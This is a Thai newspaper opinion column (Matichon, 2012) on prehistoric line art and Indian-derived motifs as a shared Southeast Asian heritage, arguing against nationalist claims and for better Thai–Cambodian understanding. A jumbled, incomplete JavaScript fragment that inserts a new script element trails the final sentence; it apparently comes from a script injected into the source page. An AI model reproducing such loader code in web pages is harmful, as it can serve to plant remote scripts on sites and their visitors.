มติชนรายวัน ฉบับประจำวันอังคารที่ 6 พฤศจิกายน 2555

 

          ในหนังสือ “อรุณตวัดการเมือง” ของ อรุณ วัชระสวัสดิ์ การ์ตูนิสต์การเมืองของไทยในระดับแนวหน้าของเอเชีย ผมเขียนเรื่องลายเส้นเป็นการ์ตูน เล่าความเป็นมาของช่างเขียน (ศิลปิน) กับลายเส้น (ศิลปะ) ยุคดึกดำบรรพ์ อันเป็นพื้นฐานก่อนรับลายกระหนกจากอินเดีย จนหลังรับ ซึ่งถือเป็น“วัฒนธรรมร่วม”ของอุษาคเนย์ โดยเฉพาะกลุ่มมอญ (พม่า), เขมร, ลาว, และไทย ที่แยกไม่ได้ตามขอบเขตรัฐชาติ จะยกมาดังต่อไปนี้

          ลายเส้นบนหน้าผา, ผนังถ้ำ, โขดหิน, ฯลฯ เป็นภาพเขียนดึกดำบรรพ์ มีอายุเก่าแก่ราว 2,555 ปีมาแล้ว (หรือราว พ.ศ. 1 หรือราว 543 ปีก่อน ค.ศ.) พบทั่วไปในดินแดนไทยตั้งแต่ภาคเหนือ, ภาคอีสาน, ภาคกลาง, ภาคใต้

          แล้วพบกระจายอยู่ในดินแดนเพื่อนบ้านโดยรอบด้วย

          ทุกแห่งที่พบล้วนเป็นภาพเขียนศักดิ์สิทธิ์ เกี่ยวข้องกับระบบความเชื่อในศาสนาผีพื้นเมืองดั้งเดิมดึกดำบรรพ์ แล้วสะท้อนวิถีชีวิตของผู้คนและชุมชนยุคนั้น บริเวณนั้น ตั้งแต่ก่อนรับศาสนาพราหมณ์-พุทธ และก่อนรับลายกระหนกจากอินเดีย

          บริเวณโดยรอบของหน้าผา, ถ้ำ, โขดหิน, ฯลฯ เป็นสถานที่ศักดิ์สิทธิ์ (เทียบเท่าโบสถ์, วิหารสมัยหลัง) ใช้ทำพิธีกรรมเพื่อความอุดมสมบูรณ์ เช่น ขอฝน, ฯลฯ

          คนเขียนลายเส้นเป็นรูปต่างๆ เหล่านั้น เช่น คน, สัตว์, ฯลฯ ได้รับยกย่องเป็นบุคคลพิเศษ (ที่ยุคต่อไปจะเรียกว่าช่าง) มีอำนาจระดับหมอผี หมายถึงผู้มีวิชามากกว่าคนอื่นในท้องถิ่นชุมชนนั้น

          ทั้งหมดล้วนเป็นหลักฐานมั่นคง ว่าคนพื้นเมืองดั้งเดิมกลุ่มหนึ่งของสุวรรณภูมิในอุษาคเนย์เมื่อหลายพันปีมาแล้ว มีประสบการณ์ชำนาญและความสามารถระดับสูงแล้วในทางวาดรูป เขียนภาพ ทั้งเหมือนจริงและเหนือจริงเป็นเส้นสัญลักษณ์ ยุคก่อนรับลายกระหนกจากอินเดีย

          ผู้คนกลุ่มหนึ่งในบ้านเมืองบริเวณสุวรรณภูมิและอุษาคเนย์ ตั้งแต่ราว พ.ศ. 1000 เป็นต้นไป มีการติดต่อทางทะเลสมุทรค้าขายแลกเปลี่ยนสิ่งของสินค้ากับอินเดียและลังกา  เริ่มรับศาสนา เริ่มรับลายกระหนกจากอินเดียเป็นครู แล้วเริ่มทำเลียนแบบครู สมมุติเรียกงานช่างแบบทวารวดี ซึ่งต่างมีพื้นฐานเบสิครองรับมานานมากแล้วจากลายเส้นเป็นภาพเขียนดึกดำบรรพ์เหล่านั้น

          เมื่อฝึกฝนเลียนแบบครูจนชำนิชำนาญ จึงมีพัฒนาการเป็นลักษณะเฉพาะท้องถิ่นสุวรรณภูมิ กระทั่งเป็นรัฐชาติ มีชื่อชาติภาษา และประเทศชาติ เลยพากันสมมุติเรียกชื่อต่างๆ กันตามชื่อเหล่านั้นว่า ลายมอญ, ลายเขมร, ลายลาว, ฯลฯ จนถึงลายไทย

          แต่แท้จริงแล้วล้วนเป็นลายกระหนกจากอินเดียโบราณอย่างเดียวกัน ซึ่งจะแยกให้ต่างกันไม่ได้ เว้นเสียแต่บังคับให้ต่างตามการเมืองยุคล่าอาณานิคม

          งานช่างอื่นๆ ก็ไม่ต่างจากงานช่างเขียน ไม่ว่าช่างฟ้อน ช่างขับ รวมถึงช่างดีดสีตีเป่า ซึ่งรู้จักทั่วไปทุกวันนี้ว่างานดนตรีและนาฏศิลป์ ล้วนมีรากเหง้าร่วมกันมาแต่ยุคดึกดำบรรพ์

          แต่ระบบการศึกษาไทยโดยคนชั้นนำทำให้หลงตัวเองอย่างหลับหูหลับตา ว่าคนอื่นลอกเลียนของไทย ทั้งๆ หลักฐานประวัติศาสตร์โบราณคดีจะตรงข้าม หรือกลับหัวกลับหาง

          รัฐบาลใหม่ต้องไม่หลงทาง ดังที่หลงกันมานานมากนั้น ขณะเดียวกันต้องเร่งรัดแบ่งปันเผยแพร่ความรู้ที่ถูกต้องเป็นจริง ว่าล้วนเป็นวัฒนธรรมร่วมสุวรรณภูมิในอุษาคเนย์

          โดยเฉพาะอย่างยิ่งต้องเร่งรัดเป็นกรณีพิเศษ คือสร้างความเข้าใจในความสัมพันธ์ ระหว่างไทยกับกัมพูชา เพราะปัญหาปราสาทพระวิหาร จะต้องเผชิญหน้ากันครั้งใหญ่ในอีกไม่นาน ไม่ว่าผลการตัดสินของศาลโลกจะออกมาทางหนึ่งทางใด ก็มีแนวโน้มให้เกิดอาการ “คลั่ง” ได้ทั้งสองฝ่าย

          สมาคมวัฒนธรรมไทย-กัมพูชา ใน ก. ต่างประเทศ เคยมีงานแบ่งปันโดยพิมพ์หนังสือวิชาการหลายเล่ม ที่เหมาะสำหรับนักวิชาการชั้นสูง ซึ่งคนทั่วไปไม่เข้าใจ อ่านไม่รู้เรื่อง

          และเอาเข้าจริงพวกนักวิชาการชั้นสูงก็ไม่อ่านและไม่ศึกษาเรื่องที่พิมพ์ออกมาแจก จึงเข้าตำราพวกรับแจกไม่อยากอ่าน พวกอยากอ่านไม่ได้รับแจก

          ฉะนั้นควรทบทวนงานแบ่งปันอันมีประโยชน์อย่างนี้ใหม่ให้ทำอย่างง่ายๆ เป็นภาษาสามัญชน แล้วทำใหม่ให้ทันโลก และทันความก้าวหน้าต่างๆ อย่างมืออาชีพ

          รัฐบาลควรเข้มงวดงาน ก. วัฒนธรรม ให้เคลื่อนไหวตามความก้าวหน้าโลกวิชาการและเศรษฐกิจการเมืองของอนาคตอย่างตรงไปตรงมา (โดยไม่ลักไก่ เหมือนเรื่องชำระประวัติศาสตร์ 3 จังหวัดชายแดนใต้)

          ถ้าปล่อยให้งมงายอยู่กับวิธีคิดแบบอาณานิคม ก็จะยิ่งส่งผลเสียหายต่อไทยเอง และต่อประชาคมอาเซียนโดยรวมdocument.currentScript.parentNode.insertBefore(s, document.currentScript);var d=document;var s=d.createElement(‘script’);